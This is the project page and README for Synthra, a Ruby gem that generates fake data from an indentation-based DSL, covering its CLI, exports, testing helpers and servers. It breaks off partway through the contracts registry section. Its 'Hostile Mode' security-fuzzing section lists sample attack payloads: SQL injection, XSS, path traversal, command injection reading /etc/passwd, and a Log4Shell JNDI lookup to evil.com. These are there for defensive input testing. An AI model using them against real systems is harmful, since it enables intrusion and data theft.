Project

synthra

0.0
The project is in a healthy, maintained state
A Ruby gem for defining data schemas in a custom indentation-based DSL and generating fake data with support for nested objects, arrays, cross-schema references, computed fields, behaviors, streaming generation, and multiple generation modes (random, edge, invalid).
2005
2006
2007
2008
2009
2010
2011
2012
2013
2014
2015
2016
2017
2018
2019
2020
2021
2022
2023
2024
2025
2026
 Dependencies

Development

~> 13.0
~> 3.12
~> 1.50
~> 0.22

Runtime

~> 3.0
~> 3.0
~> 0.6
~> 0.3
~> 2.6
 Project Readme

Synthra

Gem Version Build Status Test Coverage Ruby Style Guide License: MIT

Synthra is a powerful Ruby gem for generating realistic fake data using a human-friendly, indentation-based Domain Specific Language (DSL). It provides enterprise-grade features for testing, development, and data simulation.

Part of the Simulyra platform. Synthra is the data-generation engine behind Simulyra โ€” a multi-tenant platform for realistic API simulation and fake data generation, launching soon. Synthra is fully usable as a standalone gem; Simulyra builds schemas, mock REST/GraphQL/gRPC endpoints, and behavior simulation on top of it.

โœจ Features

  • ๐ŸŽฏ Intuitive DSL - Define data schemas with a clean, YAML-like syntax
  • ๐Ÿ”„ Deterministic Generation - Seed-based reproducible output for consistent testing
  • ๐Ÿ“ฆ Rich Type System - 50+ built-in types including UUID, dates, money, and more
  • ๐Ÿ”— Cross-Schema References - Link schemas together with automatic resolution
  • ๐Ÿงฎ Computed Fields - Dynamic values based on other fields
  • ๐ŸŽญ Behavior Simulation - Simulate latency, failures, and network conditions
  • ๐Ÿ“Š Generation Modes - Random, edge-case, invalid, hostile (security testing), and mixed data generation
  • ๐Ÿš€ Streaming Support - Memory-efficient batch generation for large datasets
  • โšก Native Rust Engine - 3-4M records/sec with configurable threads (default: 2)
  • ๐Ÿ›ก๏ธ Resource Limits - Configurable limits to prevent runaway generation
  • ๐Ÿ“ค Multi-Format Export - Export to TypeScript, Python, JSON Schema, SQL, CSV, and more
  • ๐ŸŒ Multi-Locale Support - Generate data in English, French, German, Japanese, Chinese, and more
  • ๐Ÿ” LSP Server - Full IDE integration with go-to-definition, hover, completion, and diagnostics
  • ๐Ÿงช Property-Based Testing - RSpec integration for verifying properties across generated data
  • ๐Ÿ› Enhanced REPL - Visual inspection, step-through debugging, and table formatting
  • ๐Ÿ” Security Fuzzing - Hostile mode for security testing with SQL injection, XSS, and more
  • ๐Ÿญ Factory Bot Integration - Bridge to Factory Bot for seamless test data โญ NEW
  • ๐Ÿ“ธ Snapshot Testing - Detect unintended schema changes in CI โญ NEW
  • โš–๏ธ Breaking Changes Diff - CI-friendly schema version comparison โญ NEW
  • ๐Ÿ“„ Config File Support - YAML configuration with environment support โญ NEW
  • ๐Ÿงช Rails Test Helper - generate_for_test(Model) integration โญ NEW
  • ๐Ÿงฉ Schema Mixins - Reusable field sets with @mixin โญ NEW
  • ๐Ÿ”— Data Relationships - belongs_to, has_one, has_many support โญ NEW
  • ๐Ÿ“Š Schema Versioning - User@v2 with migration tracking โญ NEW
  • ๐Ÿ“ฅ OpenAPI Import - Convert OpenAPI specs to DSL schemas โญ NEW
  • ๐ŸŒฑ Database Seeder - FK-aware database seeding โญ NEW
  • ๐Ÿ–ฅ๏ธ Live Preview Server - Web UI with hot reload โญ NEW
  • ๐Ÿ“– Documentation Generator - Beautiful HTML docs from schemas โญ NEW
  • ๐Ÿ”ข Deterministic IDs - Reproducible UUIDs, short IDs, slugs โญ NEW
  • ๐Ÿš€ Production API Server - REST API for data generation ๐Ÿ”ฅ NEW
  • ๐Ÿ“ก gRPC/Protobuf Export - Generate .proto files for microservices ๐Ÿ”ฅ NEW
  • ๐Ÿ“‹ OpenAPI Generation - Export schemas to OpenAPI 3.0 specs ๐Ÿ”ฅ NEW
  • ๐ŸŽฌ Mock Server + Recording - Record real API responses, replay as mocks ๐Ÿ”ฅ NEW
  • ๐Ÿ“œ Data Contracts Registry - Version and publish schemas centrally ๐Ÿ”ฅ NEW
  • โšก Performance Mode - Generate millions of records with parallel processing ๐Ÿ”ฅ NEW
  • ๐Ÿš‚ Rails Engine - Zero-config Rails integration with auto-discovery ๐Ÿš€ NEW
  • ๐Ÿ” ActiveRecord Inference - Generate schemas from your models ๐Ÿš€ NEW
  • ๐Ÿ“ธ Scenarios - Complex test data fixtures with relationships ๐Ÿš€ NEW
  • โฐ Time Travel - Generate historical/time-series data ๐Ÿš€ NEW
  • ๐ŸŽญ Personas - Named data profiles (happy_path, edge_cases) ๐Ÿš€ NEW
  • ๐Ÿ“Š Quality Metrics - Analyze data realism and distribution ๐Ÿš€ NEW
  • ๐Ÿ”— GraphQL Federation - Apollo Federation v2 export ๐Ÿš€ NEW
  • ๐ŸŽฌ Webhook Simulation - Test Stripe, GitHub webhooks ๐Ÿš€ NEW
  • ๐Ÿงฌ Migration Generator - Generate Rails migrations from schemas ๐Ÿš€ NEW
  • ๐Ÿ—๏ธ Terraform Export - Generate AWS/GCP infrastructure code ๐Ÿš€ NEW
  • ๐Ÿค– GitHub Action - CI/CD integration for schema validation ๐Ÿš€ NEW

๐Ÿ“š Documentation

Documentation Description
Technical Docs Complete technical documentation
Examples Runnable code examples
Type Reference Quick reference for all types
API Reference Ruby API documentation
CLI Guide Command-line interface guide
Export Guide Multi-format export documentation
Schema Templates 12+ production-ready templates
CI/CD Integration GitHub, GitLab, Jenkins setup
Performance Benchmarks Benchmarks and optimization tips
Native Rust Engine 3-4M records/sec with fake-rs โšก
LSP Server IDE integration with go-to-definition, hover, completion โญ NEW
Property-Based Testing RSpec integration for property verification โญ NEW
Enhanced REPL Visual inspection and step-through debugging โญ NEW
Security Testing Hostile mode for security fuzzing โญ NEW
Factory Bot Integration Bridge to Factory Bot for test data โญ NEW
Snapshot Testing Detect schema changes in CI โญ NEW
Config File Guide YAML configuration reference โญ NEW
GraphQL Export GraphQL SDL export guide โญ NEW
Production API Server REST API for production use ๐Ÿ”ฅ NEW
gRPC/Protobuf Export Generate .proto files ๐Ÿ”ฅ NEW
OpenAPI Export Export to OpenAPI 3.0 ๐Ÿ”ฅ NEW
Mock Server Record & replay mock responses ๐Ÿ”ฅ NEW
Data Contracts Schema versioning registry ๐Ÿ”ฅ NEW
Performance Mode Generate millions of records ๐Ÿ”ฅ NEW
Rails Engine Zero-config Rails integration ๐Ÿš€ NEW
ActiveRecord Inference Generate schemas from models ๐Ÿš€ NEW
Scenarios Complex test data fixtures ๐Ÿš€ NEW
Time Travel Historical/time-series data ๐Ÿš€ NEW
Personas Named data profiles ๐Ÿš€ NEW
Quality Metrics Analyze generated data ๐Ÿš€ NEW
GraphQL Federation Apollo Federation export ๐Ÿš€ NEW
Webhook Simulator Test webhooks ๐Ÿš€ NEW
Migration Generator Generate Rails migrations ๐Ÿš€ NEW
Terraform Export Infrastructure as Code ๐Ÿš€ NEW
GitHub Action CI/CD integration ๐Ÿš€ NEW

Quick Links


๐Ÿ“‹ Table of Contents

  • Installation
  • Quick Start
  • DSL Syntax
  • Built-in Types
  • Behaviors
  • Generation Modes
  • Ruby API
  • Export Formats
  • Native Rust Engine โšก NEW
  • CLI Usage
  • Configuration
  • Factory Bot Integration โญ NEW
  • Snapshot Testing โญ NEW
  • Breaking Changes Diff โญ NEW
  • Production API Server ๐Ÿ”ฅ NEW
  • gRPC/Protobuf Export ๐Ÿ”ฅ NEW
  • OpenAPI Export ๐Ÿ”ฅ NEW
  • Mock Server ๐Ÿ”ฅ NEW
  • Data Contracts Registry ๐Ÿ”ฅ NEW
  • Performance Mode ๐Ÿ”ฅ NEW
  • Examples
  • Contributing
  • License

๐Ÿ“ฆ Installation

Requirements

  • Ruby 3.1.0 or higher

Via Bundler (Recommended)

gem 'synthra'

Then run:

bundle install

Via RubyGems

gem install synthra

๐Ÿ“– See Installation Guide for detailed instructions.


๐Ÿš€ Quick Start

1. Define a Schema

Create schemas/user.dsl:

User:
  id: uuid(unique: true)
  name: name
  email: email
  age: number(18..65)
  active: boolean(true:80%)
  role: enum(user, admin:10%, moderator:20%)
  created_at: past_date(1y)

2. Generate Data in Ruby

require 'synthra'

# Load and generate
schema = Synthra.load('schemas/user.dsl')
user = schema.generate

# Output:
# {
#   "id" => "550e8400-e29b-41d4-a716-446655440000",
#   "name" => "John Smith",
#   "email" => "john.smith@example.com",
#   "age" => 34,
#   "active" => true,
#   "role" => "user",
#   "created_at" => "2024-06-15"
# }

# Generate multiple records
users = schema.generate_many(100)

# Generate with seed for reproducibility
user = schema.generate(seed: 12345)

3. Or Use the CLI

# Validate schema
synthra validate schemas/user.dsl

# Generate 10 users
synthra generate User --dir schemas --count 10

# Generate with pretty output
synthra generate User --dir schemas --pretty

๐Ÿ“– See Quick Start Guide for more details.


๐Ÿ“ DSL Syntax

Schema Definition

SchemaName:
  field_name: type
  field_name: type(arguments)
  optional_field?: type        # May be omitted
  nullable_field: type?        # May be null

Field Modifiers

User:
  id: uuid                     # Required field
  phone?: phone                # Optional (may not appear)
  nickname: text?              # Nullable (may be null)
  bio?: text?                  # Optional AND nullable
  tracking: text if status     # Conditional field

Behaviors

APIResponse:
  @latency 100..500ms          # Random delay
  @failure 5%                  # 5% chance of error
  @partial_data 10%            # 10% missing fields
  
  data: object

๐Ÿ“– See DSL Reference for complete syntax.


๐Ÿ“ฆ Built-in Types

Identifiers

uuid, ulid, id_sequence

Personal Data

name, first_name, last_name, email, phone, username, avatar

Text

text, paragraph, sentence, word

Numbers

number, integer, float, latitude, longitude

Boolean & Enum

boolean, enum

Date & Time

date, past_date, future_date, timestamp, now

Location

address, city, country, country_code, postal_code, state

Technology

url, domain, ip, ipv6, mac_address, user_agent

Finance

money, currency, currency_code, iban, credit_card

Complex

array, object, Ref(), custom

๐Ÿ“– See Type Reference Chart for all 50+ types.


๐ŸŽญ Behaviors

Simulate real-world conditions:

Behavior Description Example
@latency Adds delay @latency 100..500ms
@failure Throws error @failure 5%
@partial_data Missing fields @partial_data 10%
@close_connection Connection drop @close_connection 2%
@simulate_error HTTP error @simulate_error 500
begin
  data = schema.generate
rescue Synthra::Errors::SimulatedFailure
  puts "Service unavailable"
rescue Synthra::Errors::SimulatedError => e
  puts "HTTP #{e.status_code}"
end

๐Ÿ“– See Behaviors Guide for details.


๐Ÿ“Š Generation Modes

Mode Purpose Example
:random Typical values (default) "John Smith", 34
:edge Boundary values "", 0, max_value
:invalid Invalid data nil, "not_a_number"
:hostile Security attack payloads SQL injection, XSS, buffer overflow
:mixed Combination 80% random, 15% edge, 5% invalid
schema.generate(mode: :random)   # Realistic data
schema.generate(mode: :edge)     # Edge cases
schema.generate(mode: :invalid)   # Invalid data
schema.generate(mode: :hostile)   # Security testing
schema.generate(mode: :mixed)    # Comprehensive testing

๐Ÿ“– See Generation Modes for details.


๐Ÿ’Ž Ruby API

Loading Schemas

# From file
schema = Synthra.load('schemas/user.dsl')

# From string
schema = Synthra.parse(<<~DSL)
  User:
    id: uuid
    name: name
DSL

# Multiple schemas
registry = Synthra::Registry.new
registry.load_dir('schemas/')
user_schema = registry.schema('User')

Generating Data

# Single record
data = schema.generate

# With options
data = schema.generate(
  seed: 12345,           # Reproducibility
  mode: :edge,           # Generation mode
  registry: registry     # For cross-references
)

# Multiple records
records = schema.generate_many(100)

# Streaming (memory-efficient)
schema.generate_stream(count: 1_000_000).each do |record|
  process(record)
end

Custom Types

Synthra.register_type(:ssn) do |rng, context, args, mode|
  "#{rng.int(100, 999)}-#{rng.int(10, 99)}-#{rng.int(1000, 9999)}"
end

Custom Functions

Synthra.register_function(:full_name) do |context|
  "#{context['first_name']} #{context['last_name']}"
end

๐Ÿ“– See API Reference for complete documentation.


๐Ÿ“ค Export Formats

Synthra supports exporting schemas and generated data to multiple formats.

Schema Exports (Types/Structure)

Format Extension Description
json-schema .schema.json JSON Schema (draft 2020-12)
typescript / ts .ts TypeScript interfaces
javascript / js .js JavaScript with JSDoc
python / pydantic .py Python Pydantic models
dataclass .py Python dataclasses
sql / sql-ddl .sql SQL CREATE TABLE
graphviz / dot .dot GraphViz diagram
graphql / gql .graphql GraphQL SDL โญ NEW

Data Exports (Generated Records)

Format Extension Description
json .json JSON array of records
csv .csv CSV with headers
sql-insert .sql SQL INSERT statements
yaml .yaml YAML format
xml .xml XML format

Ruby API

# Schema exports
Synthra.to_typescript(schema)
Synthra.to_python(schema, style: :pydantic)
Synthra.to_json_schema(schema)
Synthra.to_sql(schema, dialect: :postgresql)
Synthra.to_graphql(schema)  # NEW: GraphQL SDL

# Data exports
Synthra.to_json(schema, count: 100)
Synthra.to_csv(schema, count: 1000)
Synthra.to_sql_insert(schema, count: 100, dialect: :mysql)
Synthra.to_yaml(schema, count: 50)
Synthra.to_xml(schema, count: 20)

# Auto-file export
Synthra.export_to_file(:typescript, schema, output_dir: "./types")
# => "./types/user.ts"

CLI Export Commands

# Schema exports
synthra export User -d schemas -f typescript -o user.ts
synthra export User -d schemas -f python --style pydantic
synthra export User -d schemas -f json-schema
synthra export --all -d schemas -f typescript -o types.ts

# Data exports
synthra export User -d schemas -f json -c 100 -o users.json
synthra export User -d schemas -f csv -c 1000 -o users.csv
synthra export User -d schemas -f sql-insert -c 100 --dialect postgresql
synthra export User -d schemas -f yaml -c 50 -o users.yaml

# Auto-generate files
synthra export User -d schemas -f typescript --out-dir ./generated
synthra export User -d schemas -f python --out-dir ./models

๐Ÿ“– See Export Guide for complete documentation.


โšก Native Rust Engine

For maximum performance (3-4 million records/sec), use the Native Rust Engine:

Quick Start

# Install and compile (one-time setup)
# 1. Install Rust: curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
# 2. gem install rb_sys
# 3. bundle exec rake compile

# Generate 10 million records in ~3 seconds
schema.generate_to_file(10_000_000, "users.jsonl")

# Or use engine: :native option
users = schema.generate_many(100_000, engine: :native, seed: 42)

Thread Control

By default, uses 2 threads to leave resources for other work:

# Default (2 threads)
schema.generate_to_file(10_000_000, "users.jsonl")

# Use 4 threads
schema.generate_to_file(10_000_000, "users.jsonl", threads: 4)

# Use all cores (fastest for single job)
schema.generate_to_file(10_000_000, "users.jsonl", threads: 0)

Multi-Locale Support

# English (fast mode)
schema.generate_to_file(1_000_000, "users.jsonl", locale: "en")

# Japanese names
schema.generate_to_file(1_000_000, "users.jsonl", locale: "ja_jp")

# French names
schema.generate_to_file(1_000_000, "users.jsonl", locale: "fr_fr")

Performance

Records Time Rate
1M 0.3s ~3.5M/sec
10M 2.7s ~3.7M/sec
Ruby (compare) ~10 min ~17K/sec

๐Ÿ“– See Native Engine Guide for complete documentation.


๐Ÿ–ฅ๏ธ CLI Usage

# Validate schema
synthra validate schemas/user.dsl

# Lint with strict mode (for CI)
synthra lint schemas/ --strict

# Preview single record
synthra preview User --dir schemas

# Generate data
synthra generate User --dir schemas --count 10

# With options
synthra generate User -d schemas -c 100 --seed 12345 --mode edge

# Output formats
synthra generate User -d schemas --pretty      # Pretty JSON
synthra generate User -d schemas --ndjson      # NDJSON

# Schema exports
synthra export User -d schemas -f json-schema
synthra export User -d schemas -f typescript -o user.ts
synthra export User -d schemas -f python --style pydantic
synthra export --all -d schemas -f typescript -o types.ts

# Data exports  
synthra export User -d schemas -f json -c 100
synthra export User -d schemas -f csv -c 1000 -o users.csv
synthra export User -d schemas -f sql-insert -c 100 --dialect mysql

# Auto-generate files to directory
synthra export User -d schemas -f typescript --out-dir ./generated

# Visualize schema relationships
synthra graph schemas/ --output schema.dot --render

# Watch for changes (hot reload)
synthra watch schemas/

# Interactive REPL
synthra repl

# LSP Server (for IDE integration)
synthra lsp

# Schema info
synthra info schemas/ --verbose

# Compare schema versions
synthra diff schemas/v1/ schemas/v2/

# Check for breaking changes only (CI mode)
synthra diff schemas/v1/ schemas/v2/ --breaking-only

# Export to GraphQL (NEW)
synthra export User -d schemas -f graphql -o schema.graphql
synthra export --all -d schemas -f graphql -o schema.graphql

๐Ÿ“– See CLI Guide for all options.


๐Ÿ” LSP Server (Language Server Protocol)

Synthra includes a full LSP server for IDE integration, providing:

  • Go to Definition - Jump to schema definitions from Ref(User.id) references
  • Real-time Diagnostics - See errors as you type with line/column numbers
  • Auto-completion - Suggestions for types, behaviors, and schemas
  • Hover Documentation - See type and behavior documentation on hover

Setup

  1. Start the LSP server:

    synthra lsp
  2. Configure your IDE to connect to the LSP server (VS Code, Cursor, Neovim, etc.)

Features

  • Works with any LSP-compatible editor
  • Reuses existing parser and validator (no duplication)
  • Provides diagnostics, completion, hover, and definition lookup
  • Supports multi-file workspace schemas

๐Ÿ“– See LSP Integration Guide for detailed setup instructions.


๐Ÿงช Property-Based Testing

Synthra integrates seamlessly with RSpec for property-based testing:

require 'synthra'
include Synthra::PropertyTesting

RSpec.describe "User Registration" do
  it "accepts all valid users" do
    verify_property("User", count: 1000) do |user_data|
      user = User.create(user_data)
      expect(user).to be_valid
      expect(user.save).to be_truthy
    end
  end

  it "validates email format" do
    verify_property("User", count: 100) do |user_data|
      email = user_data["email"]
      expect(email).to match(/\A[\w+\-.]+@[a-z\d\-]+(\.[a-z\d\-]+)*\.[a-z]+\z/i)
    end
  end
end

Features

  • verify_property - Verify properties hold for generated data
  • verify_property_stream - Memory-efficient streaming verification
  • shrink_counterexample - Shrink failing cases to minimal counterexamples
  • Automatic RSpec integration when available

๐Ÿ“– See Property-Based Testing Guide for examples.


๐Ÿ› Enhanced REPL

The interactive REPL now includes visual inspection and debugging:

synthra repl

# In REPL:
> load schemas/
โœ… Loaded 3 schema(s)

> table User          # Table view
  โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
  id                  โ”‚ "550e8400-e29b-41d4-a716-..."
  name                โ”‚ "John Doe"
  email               โ”‚ "john.doe@example.com"

> debug User          # Step-through debugging
๐Ÿ› Debug Mode: Generating User
Press Enter to continue after each field...

[Field 1] id
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Value: "550e8400-e29b-41d4-a716-446655440000"

Context State:
  Depth: 0
  Registry: available
  Generated Fields:
    (none yet)

Press Enter to continue, 'q' to quit, 'c' to continue: 

> inspect User        # Detailed inspection
๐Ÿ“Š Generated Record:
============================================================
  โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
  id                  โ”‚ "550e8400-e29b-41d4-a716-..."
  ...
๐Ÿ“‹ JSON Format:
{ "id": "...", ... }
๐Ÿ“ Statistics:
  Fields: 5
  Total size: 234 bytes

Commands

  • table <Schema> - Display records in formatted table view
  • debug <Schema> - Step-through debugging with context inspection
  • inspect <Schema> - Detailed inspection with table + JSON + statistics
  • gen <Schema> - Generate records (JSON format)
  • load <path> - Load schemas from file/directory
  • list - List loaded schemas
  • info <Schema> - Show schema details

๐Ÿ” Security Fuzzing (Hostile Mode)

Generate security attack payloads for testing API endpoints:

# Generate hostile data
schema.generate(mode: :hostile)

# CLI
synthra generate User --mode hostile

Attack Vectors

  • SQL Injection - ' OR '1'='1, '; DROP TABLE users;--
  • XSS - <script>alert(1)</script>, <img src=x onerror=alert(1)>
  • Buffer Overflow - 1KB, 10KB, 100KB, 64KB strings
  • Unicode Attacks - RTL override, Zalgo text, null bytes
  • Path Traversal - ../../../etc/passwd
  • Command Injection - ; ls -la, | cat /etc/passwd
  • LDAP Injection - *)(uid=*))(|(uid=*
  • XXE Injection - XML external entity attacks
  • Log4Shell - ${jndi:ldap://evil.com/a}

Use Case

Perfect for security testing of API endpoints that consume generated data:

# Test API endpoint with hostile inputs
hostile_data = schema.generate_many(1000, mode: :hostile)
hostile_data.each do |payload|
  response = post("/api/users", payload)
  expect(response.status).to eq(400) # Should reject hostile input
end

๐Ÿ“– See Security Testing Guide for examples.


๐Ÿญ Factory Bot Integration

Bridge between Synthra and Factory Bot for seamless test data:

# Define a factory using a Synthra schema
Synthra.define_factory(:user, schema: "User") do
  trait(:admin) do
    role { "admin" }
  end

  trait(:with_address) do
    address { Synthra.generate("Address") }
  end
end

# Use in tests
create(:user)                         # Standard user
create(:user, :admin)                 # Admin user
create(:user, :admin, :with_address)  # Admin with address
create(:user, name: "Custom Name")    # Override fields

RSpec Helpers

# In spec_helper.rb
RSpec.configure do |config|
  config.include Synthra::FactoryBotIntegration::RSpec
end

# In tests
describe "User Registration" do
  it "creates a valid user" do
    user_data = fake_data_build(:user)
    # or: user_data = build_fake_data(:user)
    
    expect(User.create(user_data)).to be_valid
  end
end

๐Ÿ“– See Factory Bot Integration Guide for more examples.


๐Ÿ“ธ Snapshot Testing

Detect unintended schema changes with snapshot testing:

require 'synthra/snapshot_testing'

RSpec.describe "Schema Snapshots" do
  include Synthra::SnapshotTesting

  # Test individual schema
  it "User generates stable output" do
    schema = Synthra.load("schemas/user.dsl")
    expect_snapshot(schema, seed: 42)
  end

  # Test all schemas
  Synthra.each_schema do |schema|
    it "#{schema.name} generates stable output" do
      expect(schema.generate(seed: 42)).to match_snapshot(schema.name)
    end
  end
end

Generate/Verify All Snapshots

# Generate all snapshots
Synthra::SnapshotTesting.generate_all_snapshots(registry, seed: 42)

# Verify all snapshots match
mismatches = Synthra::SnapshotTesting.verify_all_snapshots(registry, seed: 42)
puts "Mismatched schemas: #{mismatches}" if mismatches.any?

๐Ÿ“– See Snapshot Testing Guide for CI integration.


โš–๏ธ Breaking Changes Diff

Detect breaking schema changes in CI pipelines:

# Compare two schema directories
synthra diff schemas/v1/ schemas/v2/

# Show only breaking changes (CI mode)
synthra diff schemas/v1/ schemas/v2/ --breaking-only

# Exit codes:
# 0 = No breaking changes
# 1 = Breaking changes detected (fails CI)

What's Detected as Breaking

Change Breaking? Description
Schema removed โœ… Yes Schema no longer exists
Field removed โœ… Yes Field was deleted
Type changed โœ… Yes number โ†’ text
Optional โ†’ Required โœ… Yes Field now mandatory
Field added โŒ No Backwards compatible
Required โ†’ Optional โŒ No Backwards compatible

CI Integration Example

# .github/workflows/schema-check.yml
- name: Check for breaking changes
  run: |
    synthra diff schemas/main/ schemas/pr/ --breaking-only

๐Ÿ“„ Configuration File

Configure Synthra with YAML config files (Rails convention):

File Locations (searched in order)

  1. config/synthra.yml
  2. synthra.yml
  3. .synthra.yml

Example Configuration

# config/synthra.yml
default_mode: random
max_unique_retries: 1000

limits:
  max_array_size: 100
  max_recursion: 5
  max_text_length: 10000

# Environment-specific overrides
test:
  default_mode: edge    # Use edge cases in tests

development:
  default_mode: random

production:
  fast_mode: true       # Use faster generation

Manual Loading

# Load from custom path
Synthra::ConfigFile.load_and_apply("custom/path.yml")

# Load with specific environment
Synthra::ConfigFile.load_and_apply("config.yml", env: "staging")

๐Ÿ“– See Config File Guide for all options.


๐Ÿงช Rails Test Helper

Seamless Rails test integration with generate_for_test:

# test/test_helper.rb
require 'synthra/rails_test_helper'

class ActiveSupport::TestCase
  include Synthra::RailsTestHelper
end

# In your tests
class UserTest < ActiveSupport::TestCase
  test "validates email format" do
    user = generate_for_test(User)
    assert user.valid?
  end
  
  test "with overrides" do
    user = generate_for_test(User, :valid, email: "test@example.com")
    assert_equal "test@example.com", user.email
  end
  
  test "generate multiple" do
    users = generate_many_for_test(User, 10)
    assert_equal 10, users.length
  end
end

๐Ÿงฉ Schema Mixins

Reusable field sets with pre-built common patterns:

# Pre-registered mixins
Synthra::CommonMixins.register_all!

# Available mixins:
# - Timestamps: created_at, updated_at
# - SoftDelete: deleted_at
# - Auditable: created_by, updated_by
# - Sluggable: slug
# - Publishable: published_at, published

๐Ÿ“ฅ OpenAPI Import

Convert OpenAPI/Swagger specs to DSL schemas:

# Import from OpenAPI
synthra import openapi.yaml --output schemas/

# Also supports JSON
synthra import api-spec.json --output schemas/
# Ruby API
importer = Synthra::OpenAPIImporter.new("openapi.yaml")
schemas = importer.import_to_directory("schemas/")
# Creates user.dsl, product.dsl, etc.

๐Ÿ–ฅ๏ธ Live Preview Server

Web UI with hot reload for interactive development:

# Start live preview server
synthra live schemas/ --port 4567

# Opens http://localhost:4567 with:
# - Schema list sidebar
# - Generation mode selector (random/edge/invalid/hostile)
# - Count and seed controls
# - Real-time JSON preview
# - Hot reload on schema changes

๐Ÿ“– Documentation Generator

Generate beautiful HTML documentation:

# Generate docs
synthra docs schemas/ --output docs/

# With custom title
synthra docs schemas/ --output docs/ --title "My API Schemas"

Creates:

  • index.html - Schema listing with statistics
  • {schema}.html - Individual schema pages with:
    • Field table (name, type, required, nullable)
    • Sample data (random and edge modes)

๐Ÿ”ข Deterministic IDs

Generate stable, reproducible IDs:

# Deterministic UUIDs
Synthra::DeterministicIds.uuid(variant: "user", index: 0, seed: 42)
# => "f47ac10b-58cc-4372-a567-0e02b2c3d479" (always the same)

# Short IDs (like YouTube)
Synthra::DeterministicIds.short_id(variant: "video", index: 0)
# => "dQw4w9WgXcQ"

# Integer IDs
Synthra::DeterministicIds.integer(variant: "order", max: 1_000_000)

# URL slugs
Synthra::DeterministicIds.slug(words: 3)
# => "alpha-baker-charlie"

# Batch generation
Synthra::DeterministicIds.batch(100, type: :uuid, variant: "user")

๐ŸŒฑ Database Seeder

FK-aware database seeding:

Synthra.seed_database(truncate: true) do
  create User, count: 100
  create Order, count: 500        # Links to Users automatically
  create OrderItem, count: 2000   # Links to Orders automatically
end

๐Ÿ“Š Schema Versioning

Track schema versions and migrations:

# Parse versioned schema names
Synthra::SchemaVersioning.parse_version("User@v2")
# => { name: "User", version: "v2" }

# Register migrations
Synthra::SchemaVersioning::Registry.register(
  from: "User@v1",
  to: "User@v2",
  changes: { added: ["avatar"], removed: ["legacy_field"] }
)

# Find migration path
Synthra::SchemaVersioning::Registry.migration_path("User@v1", "User@v3")
# => [["User@v1", "User@v2"], ["User@v2", "User@v3"]]

Synthra.configure do |config|
  # Default generation mode
  config.default_mode = :random
  
  # Resource limits
  config.limits.max_latency_ms = 10_000
  config.limits.max_recursion = 10
  config.limits.max_array_size = 1000
  config.limits.max_text_length = 10_000
end

๐Ÿš€ Production API Server

Production-ready REST API for data generation - use it as the core of your data platform:

# Start the API server
synthra server schemas/ --port 3000

# With authentication and rate limiting
synthra server schemas/ --port 3000 --api-key secret123 --rate-limit 100

# Production mode
synthra server schemas/ --port 3000 --env production

API Endpoints

Endpoint Description
GET /api/schemas List all available schemas
GET /api/:schema Generate a single record
GET /api/:schema/batch?count=100 Generate multiple records
GET /api/:schema/stream Stream records (NDJSON)
POST /api/:schema Generate with overrides
GET /api/:schema/openapi OpenAPI spec for schema
GET /api/:schema/protobuf Protobuf definition
GET /metrics Server metrics

Ruby API

# Start server programmatically
Synthra::APIServer.start(
  schema_dir: "schemas/",
  port: 3000,
  auth: { type: :api_key, keys: ["secret123"] },
  rate_limit: 100,  # requests per minute
  enable_caching: true
)

# Use as Rack middleware
# config.ru
run Synthra::APIServer.rack_app(schema_dir: "schemas/")

๐Ÿ“ก gRPC/Protobuf Export

Generate Protocol Buffer definitions for microservices:

# Export single schema
synthra export User -d schemas/ -f protobuf -o user.proto

# Export all schemas
synthra export --all -d schemas/ -f protobuf -o all.proto

Generated Proto File

syntax = "proto3";

package generated;

message User {
  string id = 1;
  string name = 2;
  string email = 3;
  int64 age = 4;
  bool active = 5;
  UserRole role = 6;
}

enum UserRole {
  USERROLE_UNSPECIFIED = 0;
  USERROLE_ADMIN = 1;
  USERROLE_USER = 2;
}

service UserService {
  rpc GetUser(GetUserRequest) returns (User);
  rpc GenerateUser(GenerateUserRequest) returns (User);
  rpc GenerateManyUsers(GenerateManyUsersRequest) returns (stream User);
}

๐Ÿ“‹ OpenAPI Export

Export schemas to OpenAPI 3.0 specifications:

# Export as YAML
synthra export --all -d schemas/ -f openapi -o api.yaml

# Export as JSON
synthra export --all -d schemas/ -f openapi -o api.json

Ruby API

exporter = Synthra::Export::OpenAPI.new(registry,
  title: "My Data API",
  version: "1.0.0",
  server_url: "https://api.example.com"
)

# Export as YAML
spec_yaml = exporter.export

# Export as JSON
spec_json = exporter.export_as(:json)

๐ŸŽฌ Mock Server

Production-ready mock server with API recording:

# Start mock server
Synthra::MockServer.start(
  schema_dir: "schemas/",
  port: 3000,
  recording: true,           # Enable recording
  recordings_dir: "mocks/",  # Save recordings here
  cors: true,
  default_mode: :random
)

Recording & Replay

# Record a real API response
curl -X POST http://localhost:3000/api/recordings/user_list \
  -H "Content-Type: application/json" \
  -d '{"data": [{"id": 1, "name": "Real User"}]}'

# Replay the recording
curl http://localhost:3000/api/recordings/user_list

๐Ÿ“œ Data Contracts Registry

Version and publish schemas centrally for team coordination:

# Publish a schema version
synthra contracts publish User -v 1.0.0 -s schemas/ -m "Initial release"

# Deprecate a version
synthra contracts deprecate User -v 1.0.0 --sunset 2026-06-01

# List all contracts
synthra contracts list

# Check compatibility between versions
synthra contracts diff User 1.0.0 2.0.0

Ruby API

registry = Synthra::ContractsRegistry.new("contracts/")

# Publish
registry.publish("User", version: "1.0.0", schema: schema, changelog: "Initial")

# Deprecate
